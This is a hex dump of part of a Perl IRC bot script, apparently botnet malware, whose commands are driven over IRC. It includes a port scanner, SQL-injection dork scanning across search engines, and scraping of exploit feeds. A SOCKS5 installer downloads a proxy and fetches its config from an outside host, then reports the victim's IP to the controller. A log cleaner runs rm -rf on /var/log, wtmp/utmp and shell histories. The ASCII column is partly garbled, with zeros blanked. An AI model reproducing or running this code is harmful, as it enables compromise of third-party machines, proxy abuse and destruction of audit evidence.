18560: 7020485454502F312E305C725C6E486F73743A206D696C7730726D2E636F6D5C          p HTTP/1. \r\nHost: milw rm.com\
18592: 725C6E4163636570743A202A2F2A5C725C6E557365722D4167656E743A204D6F          r\nAccept: */*\r\nUser-Agent: Mo
18624: 7A696C6C612F352E305C725C6E5C725C6E223B0D0A2020202020202020202020          zilla/5. \r\n\r\n";
18656: 206D79204072203D203C24736F636B653E3B0D0A202020202020202020202020          my @r = <$socke>;
18688: 24706167653D224072223B0D0A202020202020202020202020636C6F73652824          $page="@r"; close($
18720: 736F636B65293B0D0A2020202020202020202020207768696C65202824706167          socke); while ($pag
18752: 65203D7E20206D2F3C7469746C653E282E2A293C2F67297B0D0A202020202020          e =~ m/<title>(.*)</g){
18784: 2020202020202020202478203D2024313B0D0A20202020202020202020202020          $x = $1;
18816: 2020696620282478203D7E202F5C266C745C3B2F29207B0D0A20202020202020          if ($x =~ /\&lt\;/) {
18848: 20202020202020202020202478203D7E20732F5C266C745C3B2F3C2F673B0D0A          $x =~ s/\&lt\;/</g;
18880: 2020202020202020202020202020207D2020202020202020200D0A2020202020          }
18912: 2020202020202020202069662028247820217E202F6D696C7730726D2F29207B          if ($x !~ /milw rm/) {
18944: 0D0A202020202020202020202020202020202020707573682028406275672C24          push (@bug,$
18976: 78293B0D0A2020202020202020202020202020207D0D0A202020202020202020          x); }
19008: 2020207D0D0A2020202020202020202020207768696C6520282470616765203D          } while ($page =
19040: 7E20206D2F3C6C696E6B2E2A6578706C2E2A285B302D395D2E2E2E293C2F6729          ~ m/<link.*expl.*([ -9]...)</g)
19072: 207B0D0A20202020202020202020202020202069662028243120217E206D2F6D          { if ($1 !~ m/m
19104: 696C7730726D2E636F6D7C6578706C6F6974737C656E2F297B0D0A2020202020          ilw rm.com|exploits|en/){
19136: 20202020202020202020202020707573682028406C74742C22687474703A2F2F          push (@ltt,"http://
19168: 7777772E6D696C7730726D2E636F6D2F6578706C6F6974732F24312022293B0D          www.milw rm.com/exploits/$1 ");
19200: 0A2020202020202020202020202020207D0D0A2020202020202020202020207D          } }
19232: 0D0A20202020202020202020202073656E6472617728244952435F6375725F73          sendraw($IRC_cur_s
19264: 6F636B65742C2022505249564D534720247072696E746C203A03347C0331322E          ocket, "PRIVMSG $printl :4|12.
19296: 3A03336D696C7730726D0331323A2E03347C033132204C617465737420657870          :3milw rm12:.4|12 Latest exp
19328: 6C6F697473203A22293B0D0A202020202020202020202020666F726561636820          loits :"); foreach
19360: 24782028302E2E28406C7474202D20312929207B0D0A20202020202020202020          $x ( ..(@ltt - 1)) {
19392: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
19424: 5249564D534720247072696E746C203A03347C0331322E3A03336D696C773072          RIVMSG $printl :4|12.:3milw r
19456: 6D0331323A2E03347C0331322020246275675B24785D202D20246C74745B2478          m12:.4|12 $bug[$x] - $ltt[$x
19488: 5D22293B0D0A202020202020202020202020202020736C65657020313B0D0A20          ]"); sleep 1;
19520: 20202020202020202020207D0D0A2020202020202020207D0D0A232323232323          } } ######
19552: 232323232323232323232323232323230D0A23202020202020506F7274736361          ################ # Portsca
19584: 6E202020202020230D0A23232323232323232323232323232323232323232323          n # ######################
19616: 0D0A202020202020202020696620282466756E63617267203D7E202F5E706F72          if ($funcarg =~ /^por
19648: 747363616E20282E2A292F29207B0D0A2020202020202020202020206D792024          tscan (.*)/) { my $
19680: 686F737469703D222431223B0D0A20202020202020202020202040706F727461          hostip="$1"; @porta
19712: 733D28223135222C223139222C223938222C223230222C223231222C22323222          s=("15","19","98","2 ","21","22"
19744: 2C223233222C223235222C223337222C223339222C223432222C223433222C22          ,"23","25","37","39","42","43","
19776: 3439222C223533222C223633222C223639222C223739222C223830222C223130          49","53","63","69","79","8 ","1 
19808: 31222C22313036222C22313037222C22313039222C22313130222C2231313122          1","1 6","1 7","1 9","11 ","111"
19840: 2C22313133222C22313135222C22313137222C22313139222C22313335222C22          ,"113","115","117","119","135","
19872: 313337222C22313339222C22313433222C22313734222C22313934222C223338          137","139","143","174","194","38
19904: 39222C22333839222C22343237222C22343433222C22343434222C2234343522          9","389","427","443","444","445"
19936: 2C22343634222C22343838222C22353132222C22353133222C22353134222C22          ,"464","488","512","513","514","
19968: 353230222C22353430222C22353436222C22353438222C22353635222C223630          52 ","54 ","546","548","565","6 
20000: 39222C22363331222C22363336222C22363934222C22373439222C2237353022          9","631","636","694","749","75 "
20032: 2C22373637222C22373734222C22373833222C22383038222C22393032222C22          ,"767","774","783","8 8","9 2","
20064: 393838222C22393933222C22393934222C22393935222C2231303035222C2231          988","993","994","995","1  5","1
20096: 303235222C2231303333222C2231303636222C2231303739222C223130383022           25","1 33","1 66","1 79","1 8 "
20128: 2C2231313039222C2231343333222C2231343334222C2231353132222C223230          ,"11 9","1433","1434","1512","2 
20160: 3439222C2232313035222C2232343332222C2232353833222C2233313238222C          49","21 5","2432","2583","3128",
20192: 2233333036222C2234333231222C2235303030222C2235323232222C22353232          "33 6","4321","5   ","5222","522
20224: 33222C2235323639222C2235353535222C2236363630222C2236363631222C22          3","5269","5555","666 ","6661","
20256: 36363632222C2236363633222C2236363635222C2236363636222C2236363637          6662","6663","6665","6666","6667
20288: 222C2236363638222C2236363639222C2237303030222C2237303031222C2237          ","6668","6669","7   ","7  1","7
20320: 373431222C2238303030222C2238303138222C2238303830222C223832303022          741","8   ","8 18","8 8 ","82  "
20352: 2C223130303030222C223139313530222C223237333734222C22333133313022          ,"1    ","1915 ","27374","3131 "
20384: 2C223333313333222C223333373333222C22353535353522293B0D0A20202020          ,"33133","33733","55555");
20416: 20202020202020206D792028406162657274612C2025706F7274615F62616E6E          my (@aberta, %porta_bann
20448: 6572293B0D0A20202020202020202020202073656E6472617728244952435F63          er); sendraw($IRC_c
20480: 75725F736F636B65742C2022505249564D534720247072696E746C203A033132          ur_socket, "PRIVMSG $printl :12
20512: 5B020334400333506F72742D5363616E6E6572020331325D205363616E6E696E          [4@3Port-Scanner12] Scannin
20544: 6720666F72206F70656E20706F727473206F6E20222E24312E22200331322073          g for open ports on ".$1." 12 s
20576: 746172746564202E22293B0D0A202020202020202020202020666F7265616368          tarted ."); foreach
20608: 206D792024706F727461202840706F727461732920207B0D0A20202020202020          my $porta (@portas) {
20640: 20202020202020206D7920247363616E736F636B203D20494F3A3A536F636B65          my $scansock = IO::Socke
20672: 743A3A494E45542D3E6E6577285065657241646472203D3E2024686F73746970          t::INET->new(PeerAddr => $hostip
20704: 2C2050656572506F7274203D3E2024706F7274612C2050726F746F203D3E0D0A          , PeerPort => $porta, Proto =>
20736: 20202020202020202020202020202020202027746370272C2054696D656F7574          'tcp', Timeout
20768: 203D3E2034293B0D0A2020202020202020202020202020206966202824736361          => 4); if ($sca
20800: 6E736F636B29207B0D0A20202020202020202020202020202020202070757368          nsock) { push
20832: 2028406162657274612C2024706F727461293B0D0A2020202020202020202020          (@aberta, $porta);
20864: 20202020202020247363616E736F636B2D3E636C6F73653B0D0A202020202020          $scansock->close;
20896: 2020202020202020207D0D0A2020202020202020202020207D0D0A200D0A2020          } }
20928: 20202020202020202020696620284061626572746129207B0D0A202020202020          if (@aberta) {
20960: 20202020202020202073656E6472617728244952435F6375725F736F636B6574          sendraw($IRC_cur_socket
20992: 2C2022505249564D534720247072696E746C203A0331325B020334400333506F          , "PRIVMSG $printl :12[4@3Po
21024: 72742D5363616E6E6572020331325D204F70656E20706F72747320666F756E64          rt-Scanner12] Open ports found
21056: 65643A204061626572746122293B0D0A2020202020202020202020207D20656C          ed: @aberta"); } el
21088: 7365207B0D0A20202020202020202020202020202073656E6472617728244952          se { sendraw($IR
21120: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
21152: 0331325B020334400333506F72742D5363616E6E6572020331325D204E6F206F          12[4@3Port-Scanner12] No o
21184: 70656E20706F72747320666F756E64656E642E22293B0D0A2020202020202020          pen ports foundend.");
21216: 202020207D0D0A2020202020202020207D0D0A0D0A2323232323232323232323          } } ###########
21248: 23232323232323232323230D0A232020456E64206F662020506F72747363616E          ########### # End of Portscan
21280: 2020230D0A2323232323232323232323232323232323232323230D0A23232323          # ##################### ####
21312: 23232323232323232323232323232323230D0A232043686B20546865204E6577          ################# # Chk The New
21344: 732066726F6D205061636B657453746F726D230D0A2323232323232323232323          s from PacketStorm# ###########
21376: 23232323232323232323230D0A696620282466756E63617267203D7E202F5E70          ########### if ($funcarg =~ /^p
21408: 61636B657473746F726D2F29207B200D0A2020206D792024633D303B0D0A2020          acketstorm/) { my $c= ;
21440: 206D792024783B0D0A2020206D7920407474743D28293B0D0A2020206D792040          my $x; my @ttt=(); my @
21472: 747474313D28293B200D0A2020206D792024736F636B203D20494F3A3A536F63          ttt1=(); my $sock = IO::Soc
21504: 6B65743A3A494E45542D3E6E65772850656572416464723D3E227777772E7061          ket::INET->new(PeerAddr=>"www.pa
21536: 636B657473746F726D73656375726974792E6F7267222C50656572506F72743D          cketstormsecurity.org",PeerPort=
21568: 3E223830222C50726F746F3D3E227463702229206F722072657475726E3B200D          >"8 ",Proto=>"tcp") or return;
21600: 0A2020207072696E742024736F636B2022474554202F77686174736E65773230          print $sock "GET /whatsnew2 
21632: 2E786D6C20485454502F312E305C725C6E223B0D0A2020207072696E74202473          .xml HTTP/1. \r\n"; print $s
21664: 6F636B2022486F73743A207777772E7061636B657473746F726D736563757269          ock "Host: www.packetstormsecuri
21696: 74792E6F72675C725C6E223B0D0A2020207072696E742024736F636B20224163          ty.org\r\n"; print $sock "Ac
21728: 636570743A202A2F2A5C725C6E223B0D0A2020207072696E742024736F636B20          cept: */*\r\n"; print $sock
21760: 22557365722D4167656E743A204D6F7A696C6C612F352E305C725C6E5C725C6E          "User-Agent: Mozilla/5. \r\n\r\n
21792: 223B200D0A2020206D79204072203D203C24736F636B3E3B0D0A202020247061          "; my @r = <$sock>; $pa
21824: 67653D224072223B0D0A202020636C6F73652824736F636B293B0D0A20202077          ge="@r"; close($sock); w
21856: 68696C6520282470616765203D7E20206D2F3C6C696E6B3E282E2A293C5C2F6C          hile ($page =~ m/<link>(.*)<\/l
21888: 696E6B3E2F67290D0A2020207B0D0A2020202020202020202020707573682840          ink>/g) { push(@
21920: 7474742C2431293B0D0A2020207D0D0A2020207768696C652028247061676520          ttt,$1); } while ($page
21952: 3D7E20206D2F3C6465736372697074696F6E3E282E2A293C5C2F646573637269          =~ m/<description>(.*)<\/descri
21984: 7074696F6E3E2F67290D0A2020207B200D0A2020202020202020202070757368          ption>/g) { push
22016: 2840747474312C2431293B0D0A2020207D0D0A202020666F7265616368202478          (@ttt1,$1); } foreach $x
22048: 2028302E2E2840747474202D203129290D0A2020207B0D0A2020202020202020          ( ..(@ttt - 1)) {
22080: 2073656E6472617728244952435F6375725F736F636B65742C2022505249564D          sendraw($IRC_cur_socket, "PRIVM
22112: 534720247072696E746C203A0331325B0203344003335061636B657453746F72          SG $printl :12[4@3PacketStor
22144: 6D020331325D20222E247474745B24785D2E220320222E24747474315B24785D          m12] ".$ttt[$x]." ".$ttt1[$x]
22176: 2E2222293B0D0A202020202020736C65657020333B0D0A20202020202024632B          .""); sleep 3; $c+
22208: 2B3B0D0A2020207D0D0A7D0D0A23232323232323232323232323232323232323          +; } } ###################
22240: 2323230D0A234175746F20496E7374616C6C20536F636B73205635207573696E          ### #Auto Install Socks V5 usin
22272: 67204D6F636B73230D0A23232323232323232323232323232323232323232323          g Mocks# ######################
22304: 0D0A696620282466756E63617267203D7E202F5E736F636B73352F29207B0D0A          if ($funcarg =~ /^socks5/) {
22336: 20202073656E6472617728244952435F6375725F736F636B65742C2022505249          sendraw($IRC_cur_socket, "PRI
22368: 564D534720247072696E746C203A0331325B020334400333536F636B73563502          VMSG $printl :12[4@3SocksV5
22400: 0331325D03313220496E7374616C6C696E67204D6F636B7320706C6561736520          12]12 Installing Mocks please
22432: 77616974033422293B0D0A20202020202073797374656D20276364202F746D70          wait4"); system 'cd /tmp
22464: 273B0D0A20202020202073797374656D20277767657420687474703A2F2F7377          '; system 'wget http://sw
22496: 697463682E646C2E736F75726365666F7267652E6E65742F736F75726365666F          itch.dl.sourceforge.net/sourcefo
22528: 7267652F6D6F636B732F6D6F636B732D302E302E322E7461722E677A273B0D0A          rge/mocks/mocks- . .2.tar.gz';
22560: 20202020202073797374656D2027746172202D7876667A206D6F636B732D302E          system 'tar -xvfz mocks- .
22592: 302E322E7461722E677A273B0D0A20202020202073797374656D2027726D202D           .2.tar.gz'; system 'rm -
22624: 7266206D6F636B732D302E302E322E7461722E677A273B0D0A20202020202073          rf mocks- . .2.tar.gz'; s
22656: 797374656D20276364206D6F636B732D302E302E32273B0D0A20202020202073          ystem 'cd mocks- . .2'; s
22688: 797374656D2027726D202D7266206D6F636B732E636F6E66273B0D0A20202020          ystem 'rm -rf mocks.conf';
22720: 202073797374656D20276375726C202D4F20687474703A2F2F616E64726F6D65          system 'curl -O http://androme
22752: 64612E636F766572732E64652F3232312F6D6F636B732E636F6E66273B0D0A20          da.covers.de/221/mocks.conf';
22784: 202020202073797374656D2027746F756368206D6F636B732E6C6F67273B0D0A          system 'touch mocks.log';
22816: 20202020202073797374656D202763686D6F642030206D6F636B732E6C6F6727          system 'chmod   mocks.log'
22848: 3B0D0A202020202020202020736C6565702832293B0D0A202020202020737973          ; sleep(2); sys
22880: 74656D20272E2F6D6F636B73207374617274273B0D0A20202020202020202073          tem './mocks start'; s
22912: 6C6565702834293B0D0A20202020202073656E6472617728244952435F637572          leep(4); sendraw($IRC_cur
22944: 5F736F636B65742C2022505249564D534720247072696E746C203A0331325B02          _socket, "PRIVMSG $printl :12[
22976: 0334400333536F636B735635020331325D033132204C6F6F6B73206C696B6520          4@3SocksV512]12 Looks like
23008: 6974732073756363657366756C6C7920696E7374616C6C6564206C6574732064          its succesfully installed lets d
23040: 6F20746865206C617374207468696E6773033420202022293B0D0A0D0A202020          o the last things4 ");
23072: 202020236C65747320677261622069700D0A202020202020246E6574203D2060          #lets grab ip $net = `
23104: 2F7362696E2F6966636F6E666967207C206772657020276574683027603B0D0A          /sbin/ifconfig | grep 'eth '`;
23136: 202020202020696620286C656E67746828246E657429290D0A2020202020207B          if (length($net)) {
23168: 0D0A202020202020246E6574203D20602F7362696E2F6966636F6E6669672065          $net = `/sbin/ifconfig e
23200: 746830207C20677265702027696E6574206164647227603B0D0A202020202020          th  | grep 'inet addr'`;
23232: 69662028216C656E67746828246E657429290D0A2020202020207B0D0A202020          if (!length($net)) {
23264: 202020246E6574203D20602F7362696E2F6966636F6E6669672065746830207C          $net = `/sbin/ifconfig eth  |
23296: 20677265702027696E657420656E642E27603B0D0A2020202020207D0D0A2020          grep 'inet end.'`; }
23328: 20202020202020696620286C656E67746828246E657429290D0A202020202020          if (length($net))
23360: 7B0D0A20202020202020202063686F7028246E6574293B0D0A20202020202020          { chop($net);
23392: 2020406E65746970203D2073706C69742F3A2F2C246E65743B0D0A2020202020          @netip = split/:/,$net;
23424: 20202020246E657469705B315D203D7E202F285C647B312C337D292E285C647B          $netip[1] =~ /(\d{1,3}).(\d{
23456: 312C337D292E285C647B312C337D292E285C647B312C337D292F3B0D0A202020          1,3}).(\d{1,3}).(\d{1,3})/;
23488: 202020202020246970203D202431202E222E222E202432202E222E222E202433          $ip = $1 .".". $2 .".". $3
23520: 202E222E222E2024343B0D0A2020202020202020200D0A202020202020202020          .".". $4;
23552: 20202023616E64207072696E74206974205E5E2020200D0A2020202020202020          #and print it ^^
23584: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
23616: 49564D534720247072696E746C203A0331325B020334400333536F636B735635          IVMSG $printl :12[4@3SocksV5
23648: 020331325D20436F6E6E6563742068657265203A033420222E20246970202E22          12] Connect here :4 ". $ip ."
23680: 3A383738372022293B0D0A2020202020202020207D0D0A202020202020656C73          :8787 "); } els
23712: 650D0A2020207B0D0A20202020202073656E6472617728244952435F6375725F          e { sendraw($IRC_cur_
23744: 736F636B65742C2022505249564D534720247072696E746C203A0331325B0203          socket, "PRIVMSG $printl :12[
23776: 34400333536F636B735635020331325D204950206E6F7420666F756E64656420          4@3SocksV512] IP not founded
23808: 22293B0D0A2020207D0D0A7D0D0A656C73650D0A7B0D0A20202020202073656E          "); } } else { sen
23840: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
23872: 7072696E746C203A0331325B020334400333536F636B735635020331325D2045          printl :12[4@3SocksV512] E
23904: 52524F52205748494C4520494E5354414C4C494E47204D4F434B532022293B0D          RROR WHILE INSTALLING MOCKS ");
23936: 0A7D0D0A7D0D0A232323232323232323232323232323232323232323230D0A23          } } ###################### #
23968: 20202020202020204E6D6170202020202020202023200D0A2323232323232323          Nmap # ########
24000: 23232323232323232323232323230D0A202020696620282466756E6361726720          ############## if ($funcarg
24032: 3D7E202F5E6E6D61705C732B282E2A295C732B285C642B295C732B285C642B29          =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)
24064: 2F297B0D0A2020202020202020206D792024686F737469703D222431223B0D0A          /){ my $hostip="$1";
24096: 2020202020202020206D792024706F72747374617274203D20222432223B0D0A          my $portstart = "$2";
24128: 2020202020202020206D792024706F7274656E64203D20222433223B0D0A2020          my $portend = "$3";
24160: 202020202020206D79202840616265727461732C2025706F7274615F62616E6E          my (@abertas, %porta_bann
24192: 6572293B0D0A2020202020202073656E6472617728244952435F6375725F736F          er); sendraw($IRC_cur_so
24224: 636B65742C2022505249564D534720247072696E746C203A204E6D617020506F          cket, "PRIVMSG $printl : Nmap Po
24256: 72745363616E2031323A2E20347C2020343A2024313A2E207C2E3A2034506F72          rtScan 12:. 4| 4: $1:. |.: 4Por
24288: 74732031323A2E2020342024322D243322293B0D0A20202020202020666F7265          ts 12:. 4 $2-$3"); fore
24320: 616368206D792024706F727461202824706F727473746172742E2E24706F7274          ach my $porta ($portstart..$port
24352: 656E64297B0D0A2020202020202020202020202020206D7920247363616E736F          end){ my $scanso
24384: 636B203D20494F3A3A536F636B65743A3A494E45542D3E6E6577285065657241          ck = IO::Socket::INET->new(PeerA
24416: 646472203D3E2024686F737469702C2050656572506F7274203D3E2024706F72          ddr => $hostip, PeerPort => $por
24448: 74612C2050726F746F203D3E2027746370272C2054696D656F7574203D3E2024          ta, Proto => 'tcp', Timeout => $
24480: 706F7274696D65293B0D0A2020202069662028247363616E736F636B29207B0D          portime); if ($scansock) {
24512: 0A20202020202020202020202020202020207075736820284061626572746173          push (@abertas
24544: 2C2024706F727461293B0D0A2020202020202020202020202020202020247363          , $porta); $sc
24576: 616E736F636B2D3E636C6F73653B0D0A20202020202020202020202020202020          ansock->close;
24608: 206966202824787374617473297B0D0A202020202020202073656E6472617728          if ($xstats){ sendraw(
24640: 244952435F6375725F736F636B65742C2022505249564D534720247072696E74          $IRC_cur_socket, "PRIVMSG $print
24672: 6C203A0331325B0203344003334E6D6170020331325D20204E6D617020506F72          l :12[4@3Nmap12] Nmap Por
24704: 745363616E203A2E207C466F756E6465642020342024706F727461222E222F4F          tScan :. |Founded 4 $porta"."/O
24736: 70656E22293B0D0A20202020202020202020202020202020207D0D0A20202020          pen"); }
24768: 20202020202020202020207D0D0A202020202020202020202020207D0D0A2020          } }
24800: 202020202020202020202069662028406162657274617329207B0D0A20202020          if (@abertas) {
24832: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
24864: 49564D534720247072696E746C203A0331325B0203344003334E6D6170020331          IVMSG $printl :12[4@3Nmap1
24896: 325D20204E6D617020506F72745363616E2031323A2E20347C20436F6D706C65          2] Nmap PortScan 12:. 4| Comple
24928: 74652022293B0D0A202020202020202020202020207D20656C7365207B0D0A20          te "); } else {
24960: 2020202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
24992: 22505249564D534720247072696E746C203A0331325B0203344003334E6D6170          "PRIVMSG $printl :12[4@3Nmap
25024: 020331325D20204E6D617020506F72745363616E2031323A2E20347C204E6F20          12] Nmap PortScan 12:. 4| No
25056: 6F70656E20706F7274732068617665206265656E20666F756E64656420203133          open ports have been founded 13
25088: 22293B0D0A202020202020202020202020207D0D0A202020202020202020207D          "); } }
25120: 0D0A232323232323232323232323232323232323232323230D0A232020202045          ###################### # E
25152: 6E64206F66204E6D6170202020202023200D0A23232323232323232323232323          nd of Nmap # #############
25184: 2323232323232323230D0A232323232323232323232323232323232323232323          ######### #####################
25216: 230D0A23202020204C6F6720436C65616E6572202020202023200D0A23232323          # # Log Cleaner # ####
25248: 2323232323232323232323232323232323230D0A696620282466756E63617267          ################## if ($funcarg
25280: 203D7E202F5E6C6F67636C65616E65722F29207B0D0A73656E64726177282449          =~ /^logcleaner/) { sendraw($I
25312: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
25344: 3A0331325B0203344003334C6F672D436C65616E6572020331325D20204C6F67          :12[4@3Log-Cleaner12] Log
25376: 436C65616E6572203A2E207C2020546869732070726F636573732063616E2062          Cleaner :. | This process can b
25408: 65206C6F6E672C206A757374207761697422293B0D0A2020202073797374656D          e long, just wait"); system
25440: 2027726D202D7266202F7661722F6C6F672F6C6173746C6F67273B0D0A202020          'rm -rf /var/log/lastlog';
25472: 2073797374656D2027726D202D7266202F7661722F6C6F672F77746D70273B0D          system 'rm -rf /var/log/wtmp';
25504: 0A20202073797374656D2027726D202D7266202F6574632F77746D70273B0D0A          system 'rm -rf /etc/wtmp';
25536: 20202073797374656D2027726D202D7266202F7661722F72756E2F75746D7027          system 'rm -rf /var/run/utmp'
25568: 3B0D0A20202073797374656D2027726D202D7266202F6574632F75746D70273B          ; system 'rm -rf /etc/utmp';
25600: 0D0A20202073797374656D2027726D202D7266202F7661722F6C6F67273B0D0A          system 'rm -rf /var/log';
25632: 20202073797374656D2027726D202D7266202F7661722F6C6F6773273B0D0A20          system 'rm -rf /var/logs';
25664: 202073797374656D2027726D202D7266202F7661722F61646D273B0D0A202020          system 'rm -rf /var/adm';
25696: 73797374656D2027726D202D7266202F7661722F6170616368652F6C6F67273B          system 'rm -rf /var/apache/log';
25728: 0D0A20202073797374656D2027726D202D7266202F7661722F6170616368652F          system 'rm -rf /var/apache/
25760: 6C6F6773273B0D0A20202073797374656D2027726D202D7266202F7573722F6C          logs'; system 'rm -rf /usr/l
25792: 6F63616C2F6170616368652F6C6F67273B0D0A20202073797374656D2027726D          ocal/apache/log'; system 'rm
25824: 202D7266202F7573722F6C6F63616C2F6170616368652F6C6F6773273B0D0A20          -rf /usr/local/apache/logs';
25856: 202073797374656D2027726D202D7266202F726F6F742F2E626173685F686973          system 'rm -rf /root/.bash_his
25888: 746F7279273B0D0A20202073797374656D2027726D202D7266202F726F6F742F          tory'; system 'rm -rf /root/
25920: 2E6B73685F686973746F7279273B0D0A73656E6472617728244952435F637572          .ksh_history'; sendraw($IRC_cur
25952: 5F736F636B65742C2022505249564D534720247072696E746C203A0331325B02          _socket, "PRIVMSG $printl :12[
25984: 03344003334C6F672D436C65616E6572020331325D20204C6F67436C65616E65          4@3Log-Cleaner12] LogCleane
26016: 72203A2E207C2020416C6C2064656661756C74206C6F6720616E642062617368          r :. | All default log and bash
26048: 5F686973746F72792066696C65732065726173656422293B0D0A202020202020          _history files erased");
26080: 736C65657020313B0D0A73656E6472617728244952435F6375725F736F636B65          sleep 1; sendraw($IRC_cur_socke
26112: 742C2022505249564D534720247072696E746C203A0331325B0203344003334C          t, "PRIVMSG $printl :12[4@3L
26144: 6F672D436C65616E6572020331325D20204C6F67436C65616E6572203A2E207C          og-Cleaner12] LogCleaner :. |
26176: 20204E6F772045726173696E67207468652072657374206F6620746865206D61          Now Erasing the rest of the ma
26208: 6368696E65206C6F672066696C657322293B0D0A20202073797374656D202766          chine log files"); system 'f
26240: 696E64202F202D6E616D65202A2E626173685F686973746F7279202D65786563          ind / -name *.bash_history -exec
26272: 20726D202D7266207B7D205C3B273B0D0A20202073797374656D202766696E64          rm -rf {} \;'; system 'find
26304: 202F202D6E616D65202A2E626173685F6C6F676F7574202D6578656320726D20          / -name *.bash_logout -exec rm
26336: 2D7266207B7D205C3B273B0D0A20202073797374656D202766696E64202F202D          -rf {} \;'; system 'find / -
26368: 6E616D6520226C6F672A22202D6578656320726D202D7266207B7D205C3B273B          name "log*" -exec rm -rf {} \;';
26400: 0D0A20202073797374656D202766696E64202F202D6E616D65202A2E6C6F6720          system 'find / -name *.log
26432: 2D6578656320726D202D7266207B7D205C3B273B0D0A202020202020736C6565          -exec rm -rf {} \;'; slee
26464: 7020313B0D0A73656E6472617728244952435F6375725F736F636B65742C2022          p 1; sendraw($IRC_cur_socket, "
26496: 505249564D534720247072696E746C203A0331325B0203344003334C6F672D43          PRIVMSG $printl :12[4@3Log-C
26528: 6C65616E6572020331325D20204C6F67436C65616E6572203A2E207C2020446F          leaner12] LogCleaner :. | Do
26560: 6E652120416C6C206C6F67732065726173656422293B0D0A2020202020207D0D          ne! All logs erased"); }
26592: 0A232323232323232323232323232323232323232323230D0A2320456E64206F          ###################### # End o
26624: 66204C6F6720436C65616E65722023200D0A2323232323232323232323232323          f Log Cleaner # ##############
26656: 23232323232323230D0A23232323232323232323232323232323232323232323          ######## ######################
26688: 0D0A23202020202020202020202020202053514C205343414E4E455220202020          # SQL SCANNER
26720: 20202020202020202020230D0A23232323232323232323232323232323232323          # ###################
26752: 2323230D0A0D0A696620282466756E63617267203D7E202F5E73716C325C732B          ### if ($funcarg =~ /^sql2\s+
26784: 282E2A3F295C732B282E2A295C732B285C642B292F297B0D0A20202069662028          (.*?)\s+(.*)\s+(\d+)/){ if (
26816: 6D792024706964203D20666F726B29207B0D0A20202020202077616974706964          my $pid = fork) { waitpid
26848: 28247069642C2030293B0D0A2020207D20656C7365207B0D0A20202020202069          ($pid,  ); } else { i
26880: 6620286D792024643D666F726B282929207B0D0A202020202020202020616464          f (my $d=fork()) { add
26912: 70726F632824642C225B53514C325D20243222293B0D0A202020202020202020          proc($d,"[SQL2] $2");
26944: 657869743B0D0A2020202020207D20656C7365207B0D0A202020202020202020          exit; } else {
26976: 0D0A2020202020202020206D7920246275673D24313B0D0A2020202020202020          my $bug=$1;
27008: 206D792024646F726B3D24323B0D0A2020202020202020206D792024636F6E74          my $dork=$2; my $cont
27040: 61746F72653D303B0D0A2020202020202020206D79202824747970652C247370          atore= ; my ($type,$sp
27072: 616365293B0D0A2020202020202020206D792025686F7374733B0D0A20202020          ace); my %hosts;
27104: 20202020206D792024636F6C756D6E733D24333B0D0A2020202020202020200D          my $columns=$3;
27136: 0A20202020202020202020202020202020202020202020202023232320537461          ### Sta
27168: 7274204D6573736167650D0A2020202020202020202020202020202020202020          rt Message
27200: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
27232: 49564D534720247072696E746C203A0331325B02033440033353514C2D536361          IVMSG $printl :12[4@3SQL-Sca
27264: 6E6E6572020331325D205374617274696E67205363616E20666F722003342462          nner12] Starting Scan for 4$b
27296: 75672024646F726B22293B0D0A20202020202020202020202020202020202020          ug $dork");
27328: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
27360: 5249564D534720247072696E746C203A0331325B02033440033353514C2D5363          RIVMSG $printl :12[4@3SQL-Sc
27392: 616E6E6572020331325D20496E697469616C697A696E67206F6E200334352003          anner12] Initializing on 45 
27424: 313253656172636820456E67696E65732022293B0D0A20202020202020202020          12Search Engines ");
27456: 202020202020202020202020202023232320456E64206F66205374617274204D          ### End of Start M
27488: 6573736167650D0A20202020202020202020202023205374617274696E672047          essage # Starting G
27520: 6F6F676C650D0A2020202020202020202020206D792040676C6973743D26676F          oogle my @glist=&go
27552: 6F676C652824646F726B293B0D0A202020202020202020202020202020202020          ogle($dork);
27584: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
27616: 505249564D534720247072696E746C20021F03375B02033440033353514C2D53          PRIVMSG $printl 7[4@3SQL-S
27648: 63616E6E6572020331325D021F03200203324703346F03386F03326703336C03          canner12] 2G4o8o2g3l
27680: 34650320021F03375B03021F222E7363616C61722840676C697374292E22021F          4e 7[".scalar(@glist)."
27712: 03375D03021F20536974657322293B0D0A202020202020202020202020202020          7] Sites");
27744: 2020202020202020206D7920406D6C6973743D266D736E2824646F726B293B0D          my @mlist=&msn($dork);
27776: 0A2020202020202020202020202020202020202020202020206D79204061736B          my @ask
27808: 6C6973743D2661736B2824646F726B293B0D0A20202020202020202020202020          list=&ask($dork);
27840: 20202020202020202020206D792040616C6C6973743D26616C6C746865776562          my @allist=&alltheweb
27872: 2824646F726B293B0D0A20202020202020202020202020202020202020202020          ($dork);
27904: 20206D792040616F6C6C6973743D26616F6C2824646F726B293B0D0A20202020          my @aollist=&aol($dork);
27936: 20202020202020202020202020202020202020206D7920406C79636F733D266C          my @lycos=&l
27968: 79636F732824646F726B293B0D0A202020202020202020202020202020202020          ycos($dork);
28000: 2020202020206D792040796C6973743D267961686F6F2824646F726B293B0D0A          my @ylist=&yahoo($dork);
28032: 2020202020202020202020202020202020202020202020206D7920406D7A6C69          my @mzli
28064: 73743D266D6F7A626F742824646F726B293B0D0A202020202020202020202020          st=&mozbot($dork);
28096: 2020202020202020202020206D7920406D616D616C697374266D616D6D612824          my @mamalist&mamma($
28128: 646F726B293B0D0A202020202020202020202020202020202020202020202020          dork);
28160: 6D792040686C6973743D26686F74626F742824646F726B293B0D0A2020202020          my @hlist=&hotbot($dork);
28192: 202020202020202020202020202020202020206D792040616C746C6973743D26          my @altlist=&
